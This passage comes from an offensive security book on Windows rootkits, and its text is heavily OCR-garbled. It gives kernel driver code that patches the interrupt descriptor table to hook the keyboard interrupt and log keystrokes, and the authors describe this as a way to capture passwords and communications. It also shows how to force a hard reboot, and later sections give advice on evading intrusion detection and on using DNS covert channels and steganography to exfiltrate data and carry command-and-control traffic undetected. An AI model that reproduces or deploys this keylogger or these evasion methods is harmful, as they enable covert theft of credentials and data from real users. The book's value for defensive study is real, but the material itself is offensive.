use of the functions provided by a BIOS. After bootstrapping and identifying the hard drives, the BIOS
transfers control to the boot block on the boot-up device. The boot block takes control and boots the
main operating system.

Modern BIOS chips are flashable, which means they can be updated using software. A famous virus,
CIH, was designed to destroy the BIOS on a computer. Thiswas incredibly destructive and expensive
for people whose machines were infected with the virus. At the time of thiswriting, there are no public
rootkits that infect the BIOS. However, the BIOS would be an interesting place to put arootkit.

Accessing PCl and PCMCIA Devices

Thereisalot of good stuff attached to PCl and PCMCIA buses, including wireless cards, network
interfaces, and external drives. PCI devices can have their own on-board BIOS software. Putting a
rootkit into a PCl BIOS is an interesting idea. Another ideaisto use a device that can be inserted (such
asaPCMCIA card or aUSB key) and that modifies main memory to insert arootkit.[2]

(2] This has been demonstrated to work with the Firewire port on some operating systems. At the time of this writing,
some research is beginning to be released publicly regarding this approach.

Clearly thereisalot of complexity to the hardware environmentmore than perhapsis expected. Thereis
also alot of potential for hardware-level rootkit development: This subject could easily become a book
of itsown! To help you get started with hardware, we explore a ssmple example that works with the
keyboard controller chip.



Example: Accessing the Keyboard Controller

Now that you know the ins and outs of addressing hardware, let's put that knowledge to use and access
some hardware. In our example, we'll access the keyboard controller.

The keyboard is the main hardware interface between a user and the machine. Look at all those keys: It's
one of the most complex interfaces ever devised. The keyboard is the source of many secretsnot the least
of which is the coveted password. But even beyond passwords, all online communicationincluding e-
mail and instant messagingmust pass through the keyboard. As the source of nearly al user-provided
information, the keyboard is something many people want to "sniff." There are many ways to do this, but
the subject of this chapter is hardware, so let's figure out how to do it using the keyboard controller chip.

The 8259 Keyboard Controller
It's very simpleto control achip, assuming you know its address; usually, the processis as ssmple as
using thei n and out assembly instructions. The 8259 keyboard controller on most PCsis addressable at

addresses 0x60 and 0x64. These locations are sometimes called ports, as each provides a portal into the
hardware chip.

When using the DDK, you should have afew macros available to read and write to these ports:

READ PORT_UCHAR( ... );

VRI TE_PORT_UCHAR( ... );

Alternatively, you could use the direct assembly instructions:

out

So, what can you do with the keyboard port? Most obviously, you can read the keystroke! Also, you can
place a keystroke into the keyboard buffer. Y ou can also change the settings of the LED indicators on
the keyboard. By playing around with the keyboard indicators, you can see instant results of your work.

Changing the LED Indicators

The command to set the LEDsis OXED. The OXED byte must first be sent to the keyboard controller



before we can blink the LED lights. This command is sent to port 0x60, followed immediately by
another byte to indicate which LEDs to set. The second byte indicates which LEDsto set in the lower 3
bits of the value.

Figure 8-6 shows the data byte that is used with the OXED command.

Figure 8-6. The data byte used with the OXED command.
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Here'sa simple approach for setting all the indicators:

WRI TE_PORT_UCHAR( 0x60, OXED );

WRI TE_PORT_UCHAR( 0x60, 00000111b):

The problem with this direct approach is that we don't wait for the keyboard to be ready to receive the
commands. If the keyboard is busy handling keystrokes, this approach may cause problems. Oftentimes
with hardware, we must wait for the chip to become ready. If we try to send data when the chip is not
ready, usually nothing happens. Sometimes, however, the hardware could become confused and cause a
crash.

The following code illustrates setting the LEDs while "playing nice" with the keyboard hardware. Notice
that any use of the DbgPrint statement is commented out. Thisis very important. If you use the DbgPrint
statement within tight routines and interrupt handlers, problems can sprout up. Y ou may get lucky and
have DbgPrint work for you. But you may also freeze the machine or cause a Blue Screen of Death.

Rootkit.com

The keyboard driver example can be downloaded from rootkit.com at
www.rootkit.com/vault/hoglund/basic_hardware.zip



The following driver uses atimer to change the LED status every few milliseconds. The timer is stored
as gTimer. When the timer expires, adeferred procedure call DPC is scheduled. Thisis stored as
gDPCP. The DPC is effectively a callback into the TimerDPC() function, which we set up and control.

PKTI MER  gTi ner;
PKDPC gDPCP;

UCHAR g_key bits = 0;

/'l command byt es
#defi ne SET_LEDS OxXED

#def i ne KEY_RESET OxFF

/'l responses from keyboard
#defi ne KEY_ACK OxFA /] ack

#def i ne KEY_AGAI N OxFE // send again

The terms used to describe data exchanged with the two keyboard portsare STATUSBYTE,
COMMAND BYTE, and DATA BYTE. The correct term to use depends on whether you are reading
from or writing to a given port (see Figure 8-7).

Figure 8-7. Ports on the keyboard controller.
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/1 When you read from port 60,

/1 \When you wite to port 60,

this is called STATUS BYTE.

this is called COUWAND BYTE.

/'l Read and wite on port 64 is called DATA BYTE

PUCHAR KEYBOARD PORT 60

( PUCHAR) 0x60;

PUCHAR KEYBOARD PORT_64 = ( PUCHAR) 0x64;
/| status register bits

#defi ne | BUFFER FULL 0x02

#defi ne OBUFFER _FULL 0x01

/[l flags for keyboard LEDS
#defi ne SCROLL_LOCK BIT (0x01
#defi ne NUMLOCK BI T (0x01

#define CAPS LOCK BI T (0x01

<< 0)
<< 1)

<< 2)

The WaitForK eyboard function does exactly what the name implies. The function loops, reading port 64

until the IBUFFER_FULL flag is cleared.

Thisindicates the keyboard is ready for commands. Notice that the DbgPrint statement is commented
out to prevent instability. Notice also the use of the KeStall ExecutionProcessor to stall the CPU for a
certain number of microseconds.[3l This stall gives the keyboard a chanceto finish what it was

previously doing.

(31 1t is recommended that you never use K eStall ExecutionProcessor for longer than 50 microseconds.

ULONG Wi t For Keyboar d()

{
char _t[255];

int i = 100; /'l nunber of times to | oop

UCHAR nychar ;



[/ DbgPrint("waiting for keyboard to becone accessible\n");

do

{
nmychar = READ PORT_UCHAR( KEYBOARD PORT 64 );

KeSt al | Execut i onProcessor (50);

[l _snprintf(_t, 253, "WitForKeyboard::read byte %92X
/1 fromport 0x64\n", mychar);

[ 1 DogPrint(_t);

if(!'(mychar & | BUFFER FULL)) break; /[l if the flag is
/'l clear, we go ahead

}
while (i--);

i f(i) return TRUE;

return FALSE;

If there are keystrokes in the keyboard buffer, the DrainOutputBuffer function will retrieve al the
keystroke data (it "drains' the buffer).

/1 Call WaitForKeyboard before calling this function.

voi d Drai nQut put Buf fer ()



char _t[255];

int i = 100; /'l nunmber of times to | oop
UCHAR c;

[ I DbgPrint("draining keyboard buffer\n");

do

{

¢ = READ PORT_UCHAR( KEYBOARD PORT 64):

KeSt al | Executi onProcessor (666) ;

[l _snprintf(_t, 253, "DrainCQutputBuffer::read byte
/1 %02X from port 0x64\n", c);

[ 1 DogPrint(_t);

if(!'(c & OBUFFER_FULL)) break; /[l If the flag is

/1l clear, we go ahead.

/[l Gobble up the byte in the output buffer.

¢ = READ_PORT_UCHAR( KEYBOARD PORT_60) ;

[l _snprintf(_t, 253, "DrainQutputBuffer::read byte
[/ %92X from port 0Ox60\n", c);

[/ DogPrint(_t);



while (i--);

The SendK eyboardCommand function first waits for the keyboard to become ready, then drains the
output buffer, and finally sends a command to port 60. Thisisthe "nice" way to send commands to the
keyboard controller.

/[l Wite a byte to the data port at 0x60.

ULONG SendKeyboar dCommand( | N UCHAR t heConmand )

{
char _t[255];

i f (TRUE == Wi t For Keyboard())

{
Drai nQut put Buffer();
[l _snprintf(_t, 253, "SendKeyboardConmand: :sendi ng byte
I %92X to port 0x60\n", theCommuand);
[/ DbgPrint(_t);
VIRl TE_PORT_UCHAR( KEYBOARD PORT_60, theCommand );
/1 DbgPrint (" SendKeyboar dCommand: : sent\ n");
}
el se
{

/1 DbgPrint (" SendKeyboar dComrand: : ti neout waiting

for keyboard\n");



return FALSE

/1 TODO wait for ACK or RESEND from keyboar d.

return TRUE

The SetLEDS function takes a byte argument where the lower 3 bits indicate which LEDs should be
IHluminated:

voi d Set LEDS( UCHAR t heLEDS )
{
/'l setup for setting LEDS
| f (FALSE == SendKeyboar dCommand( OXED ))

{
[/ DbgPrint("SetLEDS: :error sendi ng keyboard command\ n");

/'l send the flags for the LEDS

| f (FALSE == SendKeyboar dComand( t heLEDS ))

{
[/ DbgPrint("SetLEDS: :error sendi ng keyboard command\ n");



We make sure to cancel the timer if the driver is unloaded:

VO D OnUnl oad( I N PDRI VER OBJECT Driver Cbject )

{
DbgPri nt ("ROOTKI T: OnUnl oad cal l ed\n");
KeCancel Ti mer ( gTinmer );
ExFreePool ( gTimer );
ExFr eePool ( gDPCP );
}

The timerDPC function is called whenever the timer expires. In this example, the global value,
g_key_bits, isrotated through all possible values of the three indicated LEDSs. This creates an interesting
pattern of flashes with the keyboard lights.

/1l called periodically

VO D ti mer DPC(1 N PKDPC Dpc,
I N PVO D Def erredCont ext,
N PVO D sysl1,

I N PVO D sys2)

/ 1 WRI TE_PORT_UCHAR( KEYBOARD PORT 64, OXFE );

Set LEDS( g_key bits++ );

i f(g_key bits > 0x07) g_key bits = 0;



Notice the setup of the timer and the deferred procedure call. The timer is set to 10 ms, which meansto
fire the first timer event in 10 ms.[4l The negative number is used to indicate relative time rather than
absolute time.

(4 The smallest interval of time that can be scheduled is 10msthe timer resolution cannot handle anything smaller than
this.

More importantly, pay close attention to the timeout period specified in KeSetTimerEx. Thisisthetime
between DPC events that will change the LEDs on the keyboard.

NTSTATUS Dri ver Entry(I N PDRI VER OBJECT t heDri ver Cbj ect, | N PUNI CODE_STI

t heRegi stryPat h )

{

LARGE | NTECER ti neout ;

t heDri ver Obj ect->DriverUnl oad = OnUnl oad;

/'l These objects nust be non-paged.

gTi mer = ExAl | ocat ePool ( NonPagedPool , si zeof (KTI MER) ) ;

gDPCP = ExAIl | ocat ePool ( NonPagedPool , si zeof (KDPQC) ) ;

ti meout. QuadPart = -10;

KelnitializeTinmer( gTiner );

KelnitializeDpc( gDPCP, tinmerDPC, NULL );

I f(TRUE == KeSet Ti mer Ex( gTinmer, tinmeout, 1000, gDPCP))

{

DogPrint ("Ti mer was al ready queued..");



}
return STATUS SUCCESS;

We have now illustrated several important techniques, including use of macros for hardware access,
timing considerations, reading and writing commands from and to a hardware microchip, and the use of
aDPC timer. We now expand upon this code to perform more-advanced manipulation of the keyboard.

Hard Reboot

One little-known fact about the keyboard controller isthat it has adirect lineto the CPU. That'srightlike
ared phone on the desk of the president, this little microchip buried deep in the computer hasaline
directly to the RESET pin on the CPU. It's not only ared phone, but areally powerful one: It can reboot
the machine. And it does thisimmediately and without fanfare. No shutdown sequence; no chance to
recover.

This function exists as a throwback to the days when computers had real reset buttons on them. The use
of that button was handled by the keyboard controller.

To seethisin effect, smply uncomment the line in the previous example that sends byte OXFE to the
port 0x64. It will cause a hard reboot.

Thisisacontrived example, given that we are already in the kernel and can issue areset directly to the
CPU, or aHALTor whatever we want. However, the exercise doesillustrate some of the weird stuff you
can do with hardware.

Keystroke Monitor

To do something truly useful, we must start sniffing keystrokes. Not all keyboards are created equal so
this code may not work on your system. Plus, if you're using VMWare or Virtual PC to test your rootkits,
the "hardware" is entirely virtual and may work differently than expected.

Thefirst task in sniffing a keystroke isto determine the interrupt that fires when akey is pressed. On my
Win2k machine, this interrupt is 0x31. However, every machine is different. The only sure-fire way to
detect the proper interrupt is to determine what interrupt istied to IRQ 1 in the PIC (Programmable
Interrupt Controller). IRQ 1 handles the keyboard. One method of doing thisinvolves parsing the
HAL.DLL imagein the kernel.[®]

[5] See B. Jack, "Remote Windows Kernel Exploitation: Step into the Ring 0" (Aliso Vigjo, Cal.: eEye Digital Security,
2005), available at: www.eeye.com/~data/publish/whitepapers/research/OT20050205.FI L E. pdf

Interrupts need to be serviced immediately and without delay. The "correct” way to deal with an
interrupt isto schedule a deferred procedure call to handle any processing of the datareceived. The
interrupt handler itself should only schedule the DPC and work with the device that issued the interrupt.



Further processing should be handled in the DPC. In our example, we don't use a DPC; rather, we
simply store the keystroke.

Rootkit.com

The code for the example basic_keysniff can be downloaded from rootkit.com at:
www.rootkit.com/vault/hoglund/basic_keysniff.zip

The defines at the top of our file look very similar to code we have already seen. We are combining an
interrupt hook with code to read from and write to the keyboard chip.

#defi ne MAKELONG a, b) ((unsigned | ong)
(((unsigned short) (a)) | ((unsigned |ong)

((unsigned short) (b))) << 16))

/1 #define NT_INT_KEYBD 0xB3

#defi ne NT_I NT_KEYBD 0x31

[/l commands
#defi ne READ CONTROLLER 0x20

#defi ne WRI TE_CONTROLLER  0x60

/'l command byt es
#defi ne SET_LEDS OXED

#def i ne KEY_RESET OxFF

/'l responses from keyboard
#defi ne KEY_ACK OxFA /] ack

#def i ne KEY_AGAI N OxFE // send again



/1 8042 ports
/'l \When you read fromport 60, this is called STATUS BYTE.
/1 When you wite to port 60, this is called COMWAND BYTE.

/! Read and wite on port 64 is called DATA BYTE.

PUCHAR KEYBOARD PORT 60 = ( PUCHAR) 0x60;

PUCHAR KEYBOARD_PORT_64

( PUCHAR) 0x64;

/| status register bits

#defi ne | BUFFER_FULL 0x02

#defi ne OBUFFER_FULL 0x01

/'l flags for keyboard LEDS

#define SCROLL_LOCK BI T (0x01 << 0)
#def i ne NUMLOCK_BI T (0x01 << 1)

#define CAPS LOCK BIT (0x01 << 2)

FEEEEEErr bbb bbb rrirr

/] 1 DT structures

FEEEEEErrr bbb bbb rrirri

#pragma pack( 1)

/[l Entry in the IDT: This is sonetines called
/1l an "interrupt gate."

t ypedef struct

{



unsi gned short LowO fset;

unsi gned short sel ector;

unsi gned char unused_| o;

unsi gned char segnent type: 4, /1 OxOE is an interrupt gate.
unsi gned char system segnent flag: 1;

unsi gned char DPL: 2; /'l descriptor privilege |evel
unsi gned char P: 1; /| * present */

unsi gned short Hi O fset;

} | DTENTRY

/* sidt returns idt in this format */

t ypedef struct

{
unsi gned short IDTLimt;
unsi gned short Low DrTbase,;
unsi gned short Hil DTbase;
} | DTI NFG;

#pragma pack()

unsi gned | ong ol d_I SR pointer; /'l Better save the old one!
unsi gned char keystroke_buffer[1024]; // Gab 1k keystrokes.

I nt kb_array_ ptr=0;

The following routines have already been discussed, so the redundant code has been removed from the
listing here.



ULONG Wi t For Keyboar d()

{

}
/] Call WaitForKeyboard before calling this function.

voi d Drai nQut put Buf fer ()

{

/Il Wite a byte to the data port at 0x60.

ULONG SendKeyboar dCommand( | N UCHAR t heCommand )

{

The unload routine not only removes the interrupt hook, but also prints the contents of the keystroke
capture buffer. Within this routine, calling DbgPrint is safe; it will not cause any crashes or instability.

VO D OnUnl oad( | N PDRI VER OBJECT Driver Obj ect )
{

| DTI NFO I dt _i nfo; /1l This structure is obtained
/1l by calling STORE I DT (sidt),

| DTENTRY* idt _entries; /1 and then this pointer is

/1l obtained fromidt _info.



char _t[255];

/1l Load idt_info.
__asm sidt idt_info

idt_entries = (I DTENTRY*) MAKELONGE i dt i nfo.Low DTbase,

i dt _i nfo. H | DTbase);

DbgPrint ("ROOTKI T: OnUnl oad cal | ed\ n");

DogPri nt ("UnHooking Interrupt...");

/'l Restore the original interrupt handl er
__asmcl
I dt _entries[NT_I NT_KEYBD] . LowOf fset =
(unsi gned short) old_I SR pointer;
I dt _entries[NT_INT_KEYBD].H Ofset =
(unsi gned short) ((unsigned long) old | SR pointer >> 16);

__asm sti

DbgPri nt (" UnHooki ng I nterrupt conplete.");

DogPrint ("Keystroke Buffer is: ");
whi |l e(kb_array ptr--)

{
DogPrint ("902X ", keystroke buffer[kb array ptr]);



Our hook routine grabs the keystroke from the keyboard buffer and storesit in aglobal buffer. In some
cases, the keystroke must be put back into the bufferbut the code for doing so is commented out in the
example. Some systems do not require the keystroke to be put back. Experiment to determine the
behavior on your system.[€]

(6] A contributor to rootkit.com, Dsei, has stated: " The data isn't removed from port 60h until you read the status bits at
port 64h." Dsei added, "Trying to stuff the scancode back in the buffer seems to cause the machine to die violently when
you're using a PS/2 mouse.” Dsei, "Re: A gquestion about the port read,” www.rootkit.com .

/1l Using stdcall neans that this function fixes the stack before
/'l returning (opposite of cdecl).
void __stdcall print_keystroke()
{
UCHAR c;

/| DbgPrint ("stroke");

/] CGet the scancode.
c = READ_PORT_UCHAR( KEYBOARD PORT_60) ;

/I DbgPrint("got scancode %92X', c);

I f(kb_array_ptr<1024){

keystroke buffer[kb_array ptr++]=c;

/'l Put scancode back (works on PS/2).
/ | WRI TE_PORT_UCHAR( KEYBOARD PORT 64, 0xD2): // conmmand to

/! echo back scancode



/1 \Wai t For Keyboar d() ;
/1 WRI TE_PORT_UCHAR( KEYBOARD PORT 60, c); // wite the scancode

// to echo back

}

The interrupt hook iswritten as hand-coded assembly. It ensures that we don't corrupt any important
registers and allows us to call our hook routine.

/1 Naked functions have no prol og/epil og code -
/1l they are functionally |ike the
/'l target of a goto statenent.

__decl spec(naked) ny_interrupt_hook()

{
__asm
{
pushad /'l Save all general -purpose registers.
pushfd /'l Save the flags register.
cal | print_keystroke /1 Call function.
popfd /'l Restore the fl ags.
popad /'l Restore the general registers.
] mp ol d_I SR poi nter /[l Go to the original ISR
}
}

The DriverEntry routine simply places our interrupt hook:



NTSTATUS DriverEntry( |IN PDRI VER OBJECT theDriverObject, IN PUNI CODE_S

t heRegi stryPath )

{
| DTI NFO I dt _i nfo; /1l This structure is obtained

/'l by calling STORE I DT (sidt)

| DTENTRY* idt_entries; /1 and then this pointer is
/1l obtained fromidt info.

| DTENTRY* i

unsi gned | ong addr ;

unsi gned | ong count;

char _t[255];

theDriver Qbject->DriverUnload = OnUnl oad;

/1 Load idt_info.

_asm sidt idt _info

idt_entries = (I DTENTRY*) MAKELONGE i dt _info.Low DTbase,

I dt _i nfo. H | DTbase);

for (count =0; count < MAX | DT_ENTRI ES; count ++)

{
i = & dt_entries[count];

addr = MAKELONG i - >LowCf fset, i->H Ofset);

_snprintf(_t, 253, "Interrupt %: |SR 0x%08X",



count, addr);
DbgPrint (_t);
}
DbgPri nt ("Hooking Interrupt...");
/'l Let's hook an interrupt
/'l exercise - choose your own interrupt.
old I SR pointer = MAKELONG idt_entries[NT_I NT_KEYBD]. LowO f set,

idt _entries[NT_INT_KEYBD].H O fset);

/| Debug - use this if you want sone additional info on what is going ¢
#if 1
_snprintf(_t, 253, "old address for ISR is Ox%®8x",
ol d I SR pointer);
DogPrint (_t);
_snprintf(_t, 253, "address of ny function is Ox%8x",
nmy_interrupt_hook);
DbgPrint (_t);

#endi f

/'l Remenber, we disable interrupts while we patch the table.
__asmcl
i dt _entries[NT_I NT_KEYBD] . LowO fset =
(unsi gned short)ny_interrupt_hook;
i dt _entries[NT_INT_KEYBD].H Ofset =
(unsi gned short) ((unsigned |long)ny_interrupt_hook >> 16);

__asmsti



/1 Debug - use this if you want to check what is now placed in the int¢
#if 1

I = & dt _entries[ NT_I NT_KEYBD) ;

addr = MAKELONG i ->LowOF fset, i->H O fset);

_snprintf(_t, 253, "Interrupt ISR Ox%08X", addr);

DogPrint(_t);

#endi f

DbgPri nt (" Hooki ng Interrupt conplete");

return STATUS SUCCESS;

We have now illustrated a more useful rootkitone that can sniff keystrokes. Thisis a good starting point,
since keystroke monitoring is a fundamental feature for arootkit. Keystroke monitors can be used to
capture passwords and communications.

Now we wrap up this chapter by touching on the advanced concept of microcode modification.



How Low Can You Go? Microcode Update

Modern processors from Intel and AM DIl include a feature known as a microcode update. It allows
specia code to be uploaded to the processor that can alter the way the hardware works. That is, the
processor chip can be internally modified. How it actually works under the hood remains somewhat of a
mystery. When we were writing this book, the public documentation was sparse.

(71 AMD's U.S. Patent No. 6438664.

Microcode update wasn't designed for hacking; it isintended to allow bug fixes to be applied to the
processor. If something iswrong with the processor, a microcode update can fix it. This preventsthe
need to recall computers (avery expensive process). Internally, the microcode allows new "micro-
opcodes’ to be added or altered. This can alter the way existing instructions are executed, or disable
features on the chip.

In theory, if ahacker were to supply or replace microcode in the processor, she could add subversive
instructions. It seems that the biggest hurdle is understanding the microcode update mechanism itself. If
it isunderstood, it might be possible to craft additional back-door op-codes. An obvious example would
be an instruction that can bypass the restriction between Ring Zero and Ring Three. A GORINGZERO
instruction, for example, could put the chip into supervisor mode without a security check.

The microcode update is stored as a data block and must be uploaded to the processor every timeitis
booted. The update takes place using special control registers on the chip. Typically, the microcode
update block would be stored in the system BIOS (aflash chip) and applied by the system BIOS upon
startup. If used by a hacker, the microcode could be altered in the startup BIOS, or it could be applied
"on the fly." No reboot is requiredthe new microcode is utilized immediately.

Intel processors protect their microcode update blocks with strong encryption. In order to correctly
modify the update block, the crypto would need to be broken. AMD chips do not use encryption, so they
are easier to work with. For Linux there exists an update driver that can upload new microcode to the
AMD or Intel processor. To find it, search for "AMD K8 microcode update driver" or "1A32 microcode
driver" on the Internet.

Although many people are currently "playing around" with microcode updates in efforts to reverse
engineer them, it should be noted that modifications made to the microcode update blocks could, in
theory, damage the microchip.[8!

(8] |f the processor includes FPGA-like gates that can be reconfigured, it might be possible to alter the physical
configuration of gatesin away that permanently damages the hardware.



Conclusion

Although our coverage of hardware has been sparse, this chapter has introduced the concept. We hope it
will inspire you to perform your own research.

We have introduced the basic instructions needed to read from and write to hardware, and some of the
"gotchas" to watch out for. Technical manuals are available that cover the busin excruciating detail, and
you should obtain one of these manuals if you want to explore the system.[¥] We hinted at the potential
of hardware exploitation with BIOS modification and microcode updates. We illustrated a useful rootkit
feature called keystroke monitoring. And, as aways, we would like to drive home the point that it's
possible to defeat most rootkit-detection schemes by simply getting as low as possible in the system.

(9 See, for example, the "PC System Architecture Series’ books, authored by Don Anderson and Tom Shanley (with
others), published by Addison-Wedley.



Chapter 9. Covert Channels

"We are what we pretend to be, so we must be careful what we pretend to be."
MOTHER NIGHT, KURT V ONNEGUT, JR.

A covert channel is a secret communication pathway. Covert means hidden, so the communication must
be concealed. The term originates from the design of highly secure, compartmentalized computer
systemsthe ones found in military installations that handle classified information.

These systems are supposed to keep one process from communicating with another process. Asit turns
out, that is very hard to do. No matter how minor, any detectable signal that can be influenced by two
parties may become a conduit of communication between them.

A covert channel doesn't have to be fancy or meet academic standards of stealthiness; it just needs to be
unanticipatedso that it slips by unnoticed.

For arootkit, a covert channel typically means a communication path that breaks through firewalls
undetected (by sniffers, IDS systems, or other security mechanisms). The channel must be robust enough
to support exfiltrating data from the computer and allow command and control messages. Such capacity
enables an attacker to communicate with arootkit, steal data, and remain undetected while doing it.

Covert channels must be designed. They cannot be known protocols or software designs. A covert
channel is usually some form of extension upon an existing protocol or software communication process
created in order to move hidden data.

A class of data hiding known as steganography forms the basis of many covert channels. Basically,
steganography is about "hiding in plain sight.” This has been popularized in movies and the press with
such concepts as hiding secret messages inside digital photographs.

In this chapter, we begin our discussion of covert channels by explaining the concepts of remote
command, control, and data exfiltration. Next, we launch into the topics of disguised TCP/IP protocols,
kernel TCP/IP support for your rootkit, and raw network manipulation. We introduce NDIS and TDI
mechanisms you can use to send and receive network data to and from aWindows kernel driver. Armed
with this knowledge, you should be able to create a rootkit that lets you move in and out of data
networks without being detected.



Remote Command, Control, and Exfiltration of Data

Asyou know, arootkit isinstalled to gain remote access to a computer. This serves two primary
purposes: to control computer software operation, and to copy data from the system. Examples of such
command and control include shutting a computer down, enabling or disabling features, and
manipulating the kernel. Taking datafrom a system istypically called exfiltration, or exfil for short.
Exfiltration may take such arcane forms as data transmissions over electromagnetic emissions, via extra
datainserted into network protocols, and in the form of time delays.

Where remote access is required, the rootkit must be able to communicate over a network. For aTCP/IP
network, this could mean viaa TCP connection. Once a connection has been established, commands can
be issued and data can be exfiltrated.

In the hacker underground, atypical generic solution to the problem of exfil isthe remote shell. A
remote shell is ssimply a TCP session connected to the native command interpreter on the system. The
command interpreter is supplied with the operating system. On an M S-Windows machine, this would be
cnd. exe, and on aUNIX system it may be/ bi n/ sh or / bi n/ bash.

These command interpreters are actually software programs themselves. Since the command interpreters
are already installed on the system before the hacker arrives, the attack program just connects the
command interpreter to a network port. In other words, the hacker borrows the existing program when
she attacks.

For the most part, hackers are just lazy; they don't want to write their own shell programs. There are,
however, cases where hackers have created complex remote-control software. Back Orifice 200011 js
one example of afull remote-control system, with file access, screen capture, and even audio bugging.

(1 "Back Orifice" isaplay on "BackOffice," the name of a product offered by Microsoft.

Large, full-featured back-door programs have afew drawbacks. First, they are overkill for most needs.
Second, every virus scanner on the planet will detect them. Third, and perhaps most importantly, they
are written by people you don't know.

When engaging in an activity as sensitive as remote penetration, you should be concerned about risk of
exposure before anything else. Two concepts that are key to avoiding exposure are minimal footprint
and unique structure.

« Minimal footprint: The tools used for remote penetration should affect as little as possible on the
remote system. (Thisis agood reason to design arootkit that never uses the file system.) This
minimizes the chance of detection. Also, fewer lines of code means less complex code, and less
complex code means less chance of failure.

« Unique structure: The tools used for remote penetration should have structures and methods that
are unigue. Virus-detection solutions are always looking for the known. In virus-detection
development, a publicly known virusis analyzed for general patterns, and these patterns are then
applied to finding unknown viruses. If you attempt to download a rootkit from www.rootkit.com,
for example, your virus scanner will likely quarantine thefile. If they do not contain patterns found



in known infections, then your tools will slip by undetected.



Disguised TCP/IP Protocols

A rootkit's activities should be covertundetectable. Communication over a TCP socket can easily be
detected, both on the network and in the kernel. Opening a TCP socket is avery noisy event that creates
aSYN packet, followed by completion of the famous three-way handshake.l?l Any packet sniffer will
report it. Intrusion-detection systems will ailmost always log the event, and may even create an outright
aarm. Finally, TCP ports can usually be mapped back to the software process that created them. These
are al really bad for arootkit. More-subtle measures must be used.

(2 TCP protocol dictates that three packets are used to set up anew connection; this is known as the "three-way
handshake," and is detailed in many documents available in the public domain.

In anoisy environment like a network, intrusion-detection systems ook for activities that stand outthat
are different. One approach to good covert-channel design isto use a protocol that isin constant use on
the network (such as DNS, Domain Name Service). In using DNS as a covert channel, arootkit will use
amodification to the protocol to place extradatainto a packet. The goal isto make the packet "look and
smell” just like legitimate traffic (so that nobody will noticeit). Even if you don't make your packets
look exactly like the real thing, sometimes they still won't be noticed.

Theruleissimple: Hidein traffic that is already there.

If you don't want to get into protocol specifics, just start by using a source and destination port of a
common protocol. For DNS, thisis port 53 (UDP or TCP). In many cases, DNSis even allowed over a
firewall. For the Web protocol, the port is TCP port 80, or 443 for encrypted Web. If you choose port
443 and encrypt everything, you can be sure no one will take alook inside your packets. One word of
warning, though: Technology exists to unencrypt SSL Web sessions.[3l This technology can be used by
IDS equipment (but usualy isn't).

(3] Ettercap (http://ettercap.sourceforge.net) is atool for this purpose.

"Hiding in plain sight" can be harder than you might expect. In the following sections, we detail many
challenges you will face, and we make some creative suggestions for your covert-channel designs.

Beware of Traffic Patterns

Hiding datain a known protocol isjust afirst step in creating covert communications. Y ou must also
use conservative traffic patterns. A covert channel should not create an excessive amount of traffic: To
avoid being noticed, you must not spike above normal usage.

If your rootkit is creating solid green bars on the MRTGI4l graph, someoneis bound to notice. If the
network is quiet, and suddenly, at 3 am., abig traffic spike occurs, an administrator's first thought will
be that someone is engaged in a high-traffic activity, such as sharing an "iso" of Quake Il on somefile
share. If the administrator investigates, the traffic spike will lead her right to your infected machine.
That's bad on all counts.

[4 Multi Router Traffic Grapher (www.mrtg.org).


http://ettercap.sourceforge.net

Don't Send Data "in the Clear"

Thisisafine point, but even if you use a known protocol and don't create traffic spikes, you should still
hide your data so that it doesn't look malicious. Hide your datainside of other, innocuous-looking data.
If you put unencrypted password files in the payload of the packet, for example, someoneis going to
notice. If some admin examines this packet, big alarm bellswill go off. Furthermore, some IDS systems
do blanket searches of all packets for suspicious strings, like "etc/passwd.” The payload should be
obfuscated at the very least. Even better, you should use encryptionl®! or steganography.

[5] Sometimes using encryption increases the chance that something will look suspicious. If the protocol typically uses
easy-to-read text, and you're transmitting garbled bytes or high-entropy data (read: encryption), the packets will stand out
like a sore thumb.

Steganography

Steganography doesn't have to be rocket science. In essence, the term means to hide a small message
inside amuch larger message in away that is not easily noticed or detected. It does not necessarily imply
that this data must be encrypted in any fashionit just meansit should "hide in plain sight."

Successful use of steganography will surely require you to limit the bandwidth used by your
communication, but it will be much more secure. To use our DNS example, the DNS packets would
carry real DNS queries. The payloads would contain queries for legitimate Web sites. But secretly
hidden between the lines would be remote commands and exfil data. The problem isthat not much data
will fit between the lines. This meansit might take along time to move alarge file or database.
Depending on the covert-channel design, some data could take weeks or months to transfer.

Use Time to Your Advantage

An often-overlooked factor in communication istime. Rather than encoding data into the packets
themselves, arootkit could encode data within the amount of time between packets. The rootkit would
measure the time at which each packet arrives on the network, and based on this, extracts meaningful
data. A time-based covert channel allows for a much more covert operation. Like many covert-channel
designs, the bandwidth of your connection may be limited, so this would be useful only for short
messages and commands.

Hide Under DNS Requests

A commonly used covert channel is one that hides under DNS packets. This channel has some attractive
qualities. First, DNS can use UDP packets, which don't have the overhead of athree-way handshake.
Second, UDP packets can be spoofed. Third, DNSisusually allowed through afirewall. And finally,
DNS packets are constantly moving over the network, so they are usually ignored. These last two
advantages are the most important ones.

"Stego" on ASCII Payloads



There are subtler waysto hide than just tacking an encrypted payload onto the end of a DNS packet. An
astute observer would find this highly suspicious. Remember those toy crypto cards from childhoodthe

ones with hole-punched cards? Y ou could overlay the card upon written text and the punch-outs would

align with certain letters. From a page of written text, a single message would be revealed. Thisisbasic
"stego."

For an example of using steganography in ASCII data, let us consider a basic scheme using our DNS
covert channel. Assume we need to send a message that is 10 bytes long (perhaps a command, or a
sniffed password). We can make a DNS query for each of the characters of the message. Each DNS
query will be for aWeb site name whose starting letter is the same as one message character. Thisis
known as an acrostic message (see Figure 9-1).

Figure 9-1. A series of DNS requests used to encode an acrostic message. The first
letter of each DNS name is used to reconstruct the message "SECRET."

S|E|[C|R|E [T
A A A A
TCP/IP | DNS Query for: J
Header | Header sales.google.com
TCP/IP | DNS Query for:
Header | Header | estate.google.com
TCP/IP | DNS Query for:
Header | Header | cars.google.com
TCP/IP | DNS Query for:
Header | Header | railway.google.com
TCP/IP | DNS Query for:
Header | Header | electric.google.com
TCP/IP | DNS Query for:
Header | Header | turnkey.google.com

This example works, but it is contrived. In the real world, you would want to first encrypt the message,
and then use steganography to send only the cipher text. Thiswould provide two levels of protection, so
that even if the message were recovered, it would still be encrypted.

Our example design requires a database of DNS names, each corresponding to a different ASCI| byte.[©]
One enhancement could be to use DNS names that each represent more than one cipher character. Each
DNS query could then transfer several characters of the message.

(6] The database of Web-site names could be built on-the-fly by sniffing other, legitimate DNS queries on the network.

Steganography isavery large subject, and a detailed exploration is beyond the scope of this book. We
leave you with this simple example as a starting-point so that you can forge ahead on your own.
